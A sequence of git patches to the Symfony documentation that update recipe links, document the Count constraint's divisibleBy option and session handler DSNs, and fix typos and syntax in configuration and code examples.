diff --git a/setup/flex.rst b/setup/flex.rst
index df1bf1eaa14..dd26b2aa9fb 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -193,9 +193,9 @@ If you customize these paths, some files copied from a recipe still may contain
 references to the original path. In other words: you may need to update some things
 manually after a recipe is installed.
 
-.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.3/config/services.yaml
+.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/config/services.yaml
 .. _`shown in this example`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L24-L33
 .. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L44-L46
-.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.4/public/index.php
-.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/3.4/bin/console
+.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.1/public/index.php
+.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/5.1/bin/console
 .. _`Symfony Requirements Checker`: https://github.com/symfony/requirements-checker

From bb611e2074ead0d5283cb041e5de18968731b23d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 22 Feb 2020 16:20:28 +0100
Subject: [PATCH 0453/7107] [Validator] Documented the divisibleBy option of
 the Count constraint

---
 reference/constraints/Count.rst       | 42 ++++++++++++++++++++++++++-
 reference/constraints/DivisibleBy.rst |  6 ++++
 2 files changed, 47 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index 2ff99b5adbb..4ce4691c6c9 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -6,7 +6,9 @@ Countable) element count is *between* some minimum and maximum value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `exactMessage`_
+Options     - `divisibleBy`_
+            - `divisibleByMessage`_
+            - `exactMessage`_
             - `groups`_
             - `max`_
             - `maxMessage`_
@@ -101,6 +103,44 @@ you might add the following:
 Options
 -------
 
+divisibleBy
+~~~~~~~~~~~
+
+**type**: ``integer`` **default**: null
+
+.. versionadded:: 5.1
+
+    The ``divisibleBy`` option was introduced in Symfony 5.1.
+
+Validates that the number of elements of the given collection is divisible by
+a certain number.
+
+.. seealso::
+
+    If you need to validate that other types of data different from collections
+    are divisible by a certain number, use the
+    :doc:`DivisibleBy </reference/constraints/DivisibleBy>` constraint.
+
+divisibleByMessage
+~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The number of elements in this collection should be a multiple of {{ compared_value }}.``
+
+.. versionadded:: 5.1
+
+    The ``divisibleByMessage`` option was introduced in Symfony 5.1.
+
+The message that will be shown if the number of elements of the given collection
+is not divisible by the number defined in the ``divisibleBy`` option.
+
+You can use the following parameters in this message:
+
+========================  ===================================================
+Parameter                 Description
+========================  ===================================================
+``{{ compared_value }}``  The number configured in the ``divisibleBy`` option
+========================  ===================================================
+
 exactMessage
 ~~~~~~~~~~~~
 
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index c93052a248a..4503959aa57 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -3,6 +3,12 @@ DivisibleBy
 
 Validates that a value is divisible by another value, defined in the options.
 
+.. seealso::
+
+    If you need to validate that the number of elements in a collection is
+    divisible by a certain number, use the :doc:`Count </reference/constraints/Count>`
+    constraint with the ``divisibleBy`` option.
+
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `groups`_

From 0f22c6aa4b1d109234a1a770b557a643430221ee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 22 Feb 2020 19:48:21 +0100
Subject: [PATCH 0454/7107] [HttpFoundation] Allow to configure session
 handlers with DSN

---
 reference/configuration/framework.rst | 52 +++++++++++++++++++++++++++
 session.rst                           |  6 ++--
 2 files changed, 55 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f293c3a0a1a..1e26b240de6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1243,6 +1243,58 @@ the native PHP session mechanism. Set it to ``'session.handler.native_file'`` to
 let Symfony manage the sessions itself using files to store the session
 metadata.
 
+You can also configure the session handler with a DSN. For example:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                # ...
+                handler_id: 'redis://localhost'
+                handler_id: '%env(REDIS_URL)%'
+                handler_id: '%env(DATABASE_URL)%'
+                handler_id: 'file://%kernel.project_dir%/var/sessions'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:session enabled="true"
+                    handler-id="redis://localhost"
+                    handler-id="%env(REDIS_URL)%"
+                    handler-id="%env(DATABASE_URL)%"
+                    handler-id="file://%kernel.project_dir%/var/sessions"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'session' => [
+                // ...
+                'handler_id' => 'redis://localhost',
+                'handler_id' => '%env(REDIS_URL)%',
+                'handler_id' => '%env(DATABASE_URL)%',
+                'handler_id' => 'file://%kernel.project_dir%/var/sessions',
+            ],
+        ]);
+
+.. versionadded:: 4.4
+
+    The option to configure the session handler with a DSN was introduced in Symfony 4.4.
+
 If you prefer to make Symfony store sessions in a database read
 :doc:`/doctrine/pdo_session_storage`.
 
diff --git a/session.rst b/session.rst
index 53cf435eb15..265a9820f8f 100644
--- a/session.rst
+++ b/session.rst
@@ -21,7 +21,7 @@ sessions, check their default configuration:
                 # enables the support of sessions in the app
                 enabled: true
                 # ID of the service used for session storage.
-                # NULL =  means that PHP's default session mechanism is used
+                # NULL means that Symfony uses PHP default session mechanism
                 handler_id: null
                 # improves the security of the cookies used for sessions
                 cookie_secure: 'auto'
@@ -42,7 +42,7 @@ sessions, check their default configuration:
                 <!--
                     enabled: enables the support of sessions in the app
                     handler-id: ID of the service used for session storage
-                                NULL means that PHP's default session mechanism is used
+                                NULL means that Symfony uses PHP default session mechanism
                     cookie-secure and cookie-samesite: improves the security of the cookies used for sessions
                 -->
                 <framework:session enabled="true"
@@ -60,7 +60,7 @@ sessions, check their default configuration:
                 // enables the support of sessions in the app
                 'enabled' => true,
                 // ID of the service used for session storage
-                // NULL means that PHP's default session mechanism is used
+                // NULL means that Symfony uses PHP default session mechanism
                 'handler_id' => null,
                 // improves the security of the cookies used for sessions
                 'cookie_secure' => 'auto',

From 8852f76fbf91fae07e633a2c430b542beb04ae15 Mon Sep 17 00:00:00 2001
From: Florian Bastien <fbastien@gmail.com>
Date: Fri, 10 Jan 2020 10:39:49 +0100
Subject: [PATCH 0455/7107] [Server Configuration] Clarified performance tip
 about symfony/apache-pack

---
 setup/web_server_configuration.rst | 15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index bda1c343a9d..a0bc58f82ec 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -48,8 +48,19 @@ the rewrite rules.
 .. tip::
 
     A performance improvement can be achieved by moving the rewrite rules from the ``.htaccess``
-    file into the VirtualHost block of your Apache configuration and then changing
-    ``AllowOverride All`` to ``AllowOverride None`` in your VirtualHost block.
+    file into the VirtualHost block of your Apache configuration (inside the ``public/`` Directory block)
+    and then changing ``AllowOverride All`` to ``AllowOverride None`` in your VirtualHost block.
+
+    .. code-block:: apache
+
+        <VirtualHost *:80>
+            # ...
+            DocumentRoot /var/www/project/public
+            <Directory /var/www/project/public>
+                AllowOverride None
+                # Move .htaccess contents here
+            </Directory>
+        </VirtualHost>
 
 Apache with mod_php/PHP-CGI
 ---------------------------

From ed5bc39a360e6c47350d309abf1e5cf7995f9514 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Mar 2020 09:10:52 +0100
Subject: [PATCH 0456/7107] Reword

---
 setup/web_server_configuration.rst | 30 ++++++++++++++++--------------
 1 file changed, 16 insertions(+), 14 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index a0bc58f82ec..b50928a337b 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -43,24 +43,26 @@ by executing the following command:
     $ composer require symfony/apache-pack
 
 This pack installs a ``.htaccess`` file in the ``public/`` directory that contains
-the rewrite rules.
+the rewrite rules needed to serve the Symfony application.
 
-.. tip::
+In production servers, you should move the ``.htaccess`` rules into the main
+Apache configuration file to improve performance. To do so, copy the
+``.htaccess`` contents inside the ``<Directory>`` configuration associated to
+the Symfony application ``public/`` directory (and replace ``AllowOverride All``
+by ``AllowOverride None``):
 
-    A performance improvement can be achieved by moving the rewrite rules from the ``.htaccess``
-    file into the VirtualHost block of your Apache configuration (inside the ``public/`` Directory block)
-    and then changing ``AllowOverride All`` to ``AllowOverride None`` in your VirtualHost block.
+.. code-block:: apache
 
-    .. code-block:: apache
+    <VirtualHost *:80>
+        # ...
+        DocumentRoot /var/www/project/public
 
-        <VirtualHost *:80>
-            # ...
-            DocumentRoot /var/www/project/public
-            <Directory /var/www/project/public>
-                AllowOverride None
-                # Move .htaccess contents here
-            </Directory>
-        </VirtualHost>
+        <Directory /var/www/project/public>
+            AllowOverride None
+
+            # Copy .htaccess contents here
+        </Directory>
+    </VirtualHost>
 
 Apache with mod_php/PHP-CGI
 ---------------------------

From 11cfb2e2ad9c8ae0b8ffc4a083a7eb5ae5b22856 Mon Sep 17 00:00:00 2001
From: Guilliam Xavier <guilliamxavier@users.noreply.github.com>
Date: Thu, 23 Jan 2020 16:49:03 +0100
Subject: [PATCH 0457/7107] [Contributing] Fix Coding Standards example (esp.
 null return vs. void)

---
 contributing/code/standards.rst | 30 ++++++++++++++++++------------
 1 file changed, 18 insertions(+), 12 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index cdad03426c1..2cf52addf82 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -40,6 +40,8 @@ short example containing most features described below::
 
     namespace Acme;
 
+    use Other\Qux;
+
     /**
      * Coding standards demonstration.
      */
@@ -52,12 +54,15 @@ short example containing most features described below::
          */
         private $fooBar;
 
+        private $qux;
+
         /**
          * @param string $dummy Some argument description
          */
-        public function __construct($dummy)
+        public function __construct($dummy, Qux $qux)
         {
             $this->fooBar = $this->transformText($dummy);
+            $this->qux = $qux;
         }
 
         /**
@@ -89,9 +94,9 @@ short example containing most features described below::
                 'another_default' => 'more values',
             ];
 
-            foreach ($options as $option) {
-                if (!in_array($option, $defaultOptions)) {
-                    throw new \RuntimeException(sprintf('Unrecognized option "%s"', $option));
+            foreach ($options as $name => $value) {
+                if (!array_key_exists($name, $defaultOptions)) {
+                    throw new \RuntimeException(sprintf('Unrecognized option "%s"', $name));
                 }
             }
 
@@ -101,33 +106,34 @@ short example containing most features described below::
             );
 
             if (true === $dummy) {
-                return null;
+                return 'something';
             }
 
-            if ('string' === $dummy) {
+            if (is_string($dummy)) {
                 if ('values' === $mergedOptions['some_default']) {
                     return substr($dummy, 0, 5);
                 }
 
                 return ucwords($dummy);
             }
+
+            return null;
         }
 
         /**
-         * Performs some basic check for a given value.
+         * Performs some basic operations for a given value.
          *
-         * @param mixed $value     Some value to check against
+         * @param mixed $value     Some value to operate against
          * @param bool  $theSwitch Some switch to control the method's flow
-         *
-         * @return bool|void The resultant check if $theSwitch isn't false, void otherwise
          */
-        private function reverseBoolean($value = null, $theSwitch = false)
+        private function performOperations($value = null, $theSwitch = false)
         {
             if (!$theSwitch) {
                 return;
             }
 
-            return !$value;
+            $this->qux->doFoo($value);
+            $this->qux->doBar($value);
         }
     }
 

From 10f5cf0a37ec2a164a9f2454ecd2c3ad4584581a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Mar 2020 09:28:30 +0100
Subject: [PATCH 0458/7107] Minor tweak

---
 components/http_client.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/components/http_client.rst b/components/http_client.rst
index 57323e56e54..c6fe5c73453 100644
--- a/components/http_client.rst
+++ b/components/http_client.rst
@@ -480,14 +480,14 @@ destructor won't have anything remaining to do.
 
 There are three types of exceptions:
 
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface` are thrown when
-  your code does not handle the status codes in the 300-599 range.
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`
+  are thrown when your code does not handle the status codes in the 300-599 range.
 
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface` are thrown
-  when a lower level issue occurs.
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
+  are thrown when a lower level issue occurs.
 
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface` are thrown
-  when a content-type cannot be decoded to the expected representation.
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface`
+  are thrown when a content-type cannot be decoded to the expected representation.
 
 Concurrent Requests
 -------------------

From 35d9e1e1f92883cc09f4f324e3c975a1b14d4820 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Fri, 6 Mar 2020 17:39:51 +0100
Subject: [PATCH 0459/7107] Update round robin transport explaination

As you can see in https://github.com/symfony/symfony/blob/master/src/Symfony/Component/Notifier/Transport/RoundRobinTransport.php#L72 only the next scheduled transport is used to send the message and not all transports.
---
 notifier.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 066f126d72b..1ec59b14838 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -256,8 +256,8 @@ transport:
                     # Slack errored
                     main: '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%'
 
-                    # Always send notifications to both Slack and Telegram
-                    all: '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%'
+                    # Send notifications to the next scheduled transport calculated by round robin
+                    roundrobin: '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%'
 
     .. code-block:: xml
 
@@ -279,7 +279,8 @@ transport:
                         %env(SLACK_DSN)% || %env(TELEGRAM_DSN)%
                     </framework:chatter-transport>
 
-                    <!-- Always send notifications to both Slack and Telegram -->
+                    <!-- Send notifications to the next scheduled transport 
+                         calculated by round robin -->
                     <framework:chatter-transport name="slack">
                         %env(SLACK_DSN)% && %env(TELEGRAM_DSN)%
                     </framework:chatter-transport>
@@ -297,8 +298,8 @@ transport:
                     // Slack errored
                     'main' => '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%',
 
-                    // Always send notifications to both Slack and Telegram
-                    'all' => '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%',
+                    // Send notifications to the next scheduled transport calculated by round robin
+                    'roundrobin' => '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%',
                 ],
             ],
         ]);

From 3cd99979bd87856886c4fb008c5fc6de798fd17e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Fri, 6 Mar 2020 19:06:21 +0100
Subject: [PATCH 0460/7107] s/with/within

---
 logging/monolog_email.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 70cb7bce745..22be5877228 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -4,7 +4,7 @@
 How to Configure Monolog to Email Errors
 ========================================
 
-`Monolog`_ can be configured to send an email when an error occurs with an
+`Monolog`_ can be configured to send an email when an error occurs within an
 application. The configuration for this requires a few nested handlers
 in order to avoid receiving too many emails. This configuration looks
 complicated at first but each handler is fairly straightforward when

From ef9f8a1e49a55363265f5003b340126d20a7ef82 Mon Sep 17 00:00:00 2001
From: SKmedix <skmedixs@gmail.com>
Date: Fri, 6 Mar 2020 19:44:52 +0100
Subject: [PATCH 0461/7107] :bug: Fixed dead links to reStructuredText

---
 contributing/documentation/format.rst   | 4 ++--
 contributing/documentation/overview.rst | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 43147f26341..875ae836c96 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -208,10 +208,10 @@ versions that have a lower major version will be removed. For example, if
 Symfony 4.0 were released today, 3.0 to 3.4 ``versionadded`` and ``deprecated``
 tags would be removed from the new ``4.0`` branch.
 
-.. _reStructuredText: http://docutils.sourceforge.net/rst.html
+.. _reStructuredText: https://docutils.sourceforge.io/rst.html
 .. _Sphinx: https://www.sphinx-doc.org/
 .. _`Symfony documentation`: https://github.com/symfony/symfony-docs
 .. _`reStructuredText Primer`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html
-.. _`reStructuredText Reference`: http://docutils.sourceforge.net/docs/user/rst/quickref.html
+.. _`reStructuredText Reference`: https://docutils.sourceforge.io/docs/user/rst/quickref.html
 .. _`Sphinx Markup Constructs`: https://www.sphinx-doc.org/en/1.7/markup/index.html
 .. _`supported languages`: http://pygments.org/languages/
diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index ff53a627287..e7cbfea9bf3 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -333,7 +333,7 @@ your proposal after you put all that hard work into making the changes. We
 definitely don't want you to waste your time!
 
 .. _`github.com/symfony/symfony-docs`: https://github.com/symfony/symfony-docs
-.. _`reStructuredText`: http://docutils.sourceforge.net/rst.html
+.. _`reStructuredText`: https://docutils.sourceforge.io/rst.html
 .. _`GitHub`: https://github.com/
 .. _`fork the repository`: https://help.github.com/articles/fork-a-repo
 .. _`Symfony Documentation Contributors`: https://symfony.com/contributors/doc
@@ -343,5 +343,5 @@ definitely don't want you to waste your time!
 .. _`roadmap`: https://symfony.com/roadmap
 .. _`pip`: https://pip.pypa.io/en/stable/
 .. _`pip installation`: https://pip.pypa.io/en/stable/installing/
-.. _`Sphinx`: http://sphinx-doc.org/
+.. _`Sphinx`: https://www.sphinx-doc.org/
 .. _`Sphinx Extensions for PHP and Symfony`: https://github.com/fabpot/sphinx-php

From 49239d969d25c25a6945aa297d89d423624998f9 Mon Sep 17 00:00:00 2001
From: Pierre-Jean Leger <Caligone@users.noreply.github.com>
Date: Sat, 7 Mar 2020 10:37:29 +0100
Subject: [PATCH 0462/7107] Missing format parameter in a serialize call

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5f150a212b3..e7ed6f12550 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -625,7 +625,7 @@ defines a ``Person`` entity with a ``firstName`` property:
 This custom mapping is used to convert property names when serializing and
 deserializing objects::
 
-    $serialized = $serializer->serialize(new Person("Kévin"));
+    $serialized = $serializer->serialize(new Person("Kévin"), 'json');
     // {"customer_name": "Kévin"}
 
 Serializing Boolean Attributes
@@ -1450,7 +1450,7 @@ and ``BitBucketCodeRepository`` classes:
 
 Once configured, the serializer uses the mapping to pick the correct class::
 
-    $serialized = $serializer->serialize(new GitHubCodeRepository());
+    $serialized = $serializer->serialize(new GitHubCodeRepository(), 'json');
     // {"type": "github"}
 
     $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json');

From 391d469ea2646fa58387812590ccd19b588242fe Mon Sep 17 00:00:00 2001
From: Emanuele Panzeri <thePanz@users.noreply.github.com>
Date: Sun, 8 Mar 2020 14:20:58 +0100
Subject: [PATCH 0463/7107] Kernel constructor (SF v4.4.5) accepts only 2 args

---
 migration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/migration.rst b/migration.rst
index 043dc0ce25c..91e85b7bf2c 100644
--- a/migration.rst
+++ b/migration.rst
@@ -268,7 +268,7 @@ could look something like this::
         Request::setTrustedHosts([$trustedHosts]);
     }
 
-    $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG'], dirname(__DIR__));
+    $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
     $request = Request::createFromGlobals();
     $response = $kernel->handle($request);
 

From 1fd632f007fc793fb2db95cedd40de7849b916d8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 9 Mar 2020 08:51:52 +0100
Subject: [PATCH 0464/7107] Fix: Remove old versionadded

---
 reference/configuration/framework.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 002acfcea0e..96bacc16cba 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1254,10 +1254,6 @@ You can also configure the session handler with a DSN. For example:
             ],
         ]);
 
-.. versionadded:: 4.4
-
-    The option to configure the session handler with a DSN was introduced in Symfony 4.4.
-
 If you prefer to make Symfony store sessions in a database read
 :doc:`/doctrine/pdo_session_storage`.
 

From 24ebee7055efa319bb248b2970671bb774f0e2f4 Mon Sep 17 00:00:00 2001
From: pohlaniacz <pohlaniacz@gmail.com>
Date: Mon, 9 Mar 2020 14:31:50 +0100
Subject: [PATCH 0465/7107] Typo in allow_if condition

Headers instead of header
---
 security/access_control.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index 1156276f928..88f5a631b88 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -291,7 +291,7 @@ key:
                     # the 'role' and 'allow-if' options work like an OR expression, so
                     # access is granted if the expression is TRUE or the user has ROLE_ADMIN
                     roles: 'ROLE_ADMIN'
-                    allow_if: "'127.0.0.1' == request.getClientIp() or request.header.has('X-Secure-Access')"
+                    allow_if: "'127.0.0.1' == request.getClientIp() or request.headers.has('X-Secure-Access')"
 
     .. code-block:: xml
 
@@ -308,7 +308,7 @@ key:
                      access is granted if the expression is TRUE or the user has ROLE_ADMIN -->
                 <rule path="^/_internal/secure"
                     role="ROLE_ADMIN"
-                    allow-if="'127.0.0.1' == request.getClientIp() or request.header.has('X-Secure-Access')"/>
+                    allow-if="'127.0.0.1' == request.getClientIp() or request.headers.has('X-Secure-Access')"/>
             </config>
         </srv:container>
 
@@ -320,7 +320,7 @@ key:
                     // the 'role' and 'allow-if' options work like an OR expression, so
                     // access is granted if the expression is TRUE or the user has ROLE_ADMIN
                     'roles' => 'ROLE_ADMIN',
-                    'allow_if' => '"127.0.0.1" == request.getClientIp() or request.header.has('X-Secure-Access')',
+                    'allow_if' => '"127.0.0.1" == request.getClientIp() or request.headers.has('X-Secure-Access')',
                 ],
             ],
 

From 5f8e78216b5089a6a0571108c13cdde9deeff6f1 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Mon, 9 Mar 2020 14:47:11 +0100
Subject: [PATCH 0466/7107] use improved Yaml syntax for defining method calls

---
 service_container/calls.rst | 9 ++-------
 1 file changed, 2 insertions(+), 7 deletions(-)

diff --git a/service_container/calls.rst b/service_container/calls.rst
index 23003ebfdc4..c3797cb8917 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -40,9 +40,7 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k
             App\Service\MessageGenerator:
                 # ...
                 calls:
-                    - method: setLogger
-                      arguments:
-                          - '@logger'
+                    - setLogger: ['@logger']
 
     .. code-block:: xml
 
@@ -121,10 +119,7 @@ The configuration to tell the container it should do so would be like:
             App\Service\MessageGenerator:
                 # ...
                 calls:
-                    - method: withLogger
-                      arguments:
-                          - '@logger'
-                      returns_clone: true
+                    - withLogger: !returns_clone ['@logger']
 
     .. code-block:: xml
 

From bc50484136c946bcb16605328be8661fdc28468a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?LIBERT=20Je=CC=81re=CC=81my?= <libert.jeremy@gmail.com>
Date: Mon, 9 Mar 2020 16:50:09 +0100
Subject: [PATCH 0467/7107] Fix comma

---
 workflow.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 5a52219ecd4..601fbb3944b 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -129,8 +129,8 @@ like this:
                         'enabled' => true
                     ],
                     'marking_store' => [
-                        'type' => 'method'
-                        'property' => 'currentPlace'
+                        'type' => 'method',
+                        'property' => 'currentPlace',
                     ],
                     'supports' => [BlogPost::class],
                     'initial_marking' => 'draft',

From 1185077ec1394916144f7d72ba386dcab53ecbd6 Mon Sep 17 00:00:00 2001
From: David Schmidt <dschmidt@mesvision.com>
Date: Mon, 9 Mar 2020 13:42:10 -0700
Subject: [PATCH 0468/7107] [Security] PHP Syntax Fix

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 1b341e333e8..e2a5ebbee6f 100644
--- a/security.rst
+++ b/security.rst
@@ -272,7 +272,7 @@ important section is ``firewalls``:
                 'dev' => [
                     'pattern' => '^/(_(profiler|wdt)|css|images|js)/',
                     'security' => false,
-                ),
+                ],
                 'main' => [
                     'anonymous' => 'lazy',
                 ],

From 228cfe0e3a178506ff7c41779dc15509d180ceb1 Mon Sep 17 00:00:00 2001
From: William Pinaud <thedocrepinsfx@gmail.com>
Date: Tue, 10 Mar 2020 10:08:06 +0100
Subject: [PATCH 0469/7107] Microupdate on broken bullet point

Simply applied RST syntax to fix.

This is the oldest version of the doc that has this broken part.
---
 translation.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/translation.rst b/translation.rst
index 0ea91747b71..998bcfd773f 100644
--- a/translation.rst
+++ b/translation.rst
@@ -248,12 +248,12 @@ using the ``trans()`` method:
 
 #. The ``locale`` of the current user, which is stored on the request is determined;
 
-* A catalog (e.g. big collection) of translated messages is loaded from translation
-  resources defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
-  :ref:`fallback locale <translation-fallback>` are also loaded and
-  added to the catalog if they don't already exist. The end result is a large
-  "dictionary" of translations. This catalog is cached in production to
-  minimize performance impact.
+#. A catalog (e.g. big collection) of translated messages is loaded from translation
+   resources defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
+   :ref:`fallback locale <translation-fallback>` are also loaded and
+   added to the catalog if they don't already exist. The end result is a large
+   "dictionary" of translations. This catalog is cached in production to
+   minimize performance impact.
 
 #. If the message is located in the catalog, the translation is returned. If
    not, the translator returns the original message.

From cd379f2fe68bd8d9af8833996b9fad1f5b8550e6 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 10 Mar 2020 10:19:08 +0100
Subject: [PATCH 0470/7107] Add missing buit-in normalizers

---
 serializer.rst             | 3 +++
 serializer/normalizers.rst | 8 ++++++++
 2 files changed, 11 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index b1e64881831..c06c0e02fc7 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -103,6 +103,7 @@ As well as the following normalizers:
   handle typical data objects
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for
   objects implementing the :phpclass:`DateTimeInterface` interface
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer` for :phpclass:`DateInterval` objects
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to
   transform :phpclass:`SplFileInfo` objects in `Data URIs`_
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
@@ -110,6 +111,8 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` to
   denormalize arrays of objects using a format like `MyObject[]` (note the `[]` suffix)
 
+.. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
+
 Custom normalizers and/or encoders can also be loaded by tagging them as
 :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and
 :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also
diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index c1bcb930612..7a21b5bcaa8 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -26,6 +26,11 @@ Symfony includes the following normalizers but you can also
 
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to
   normalize PHP object using the :doc:`PropertyAccessor component </components/property_access>`;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for
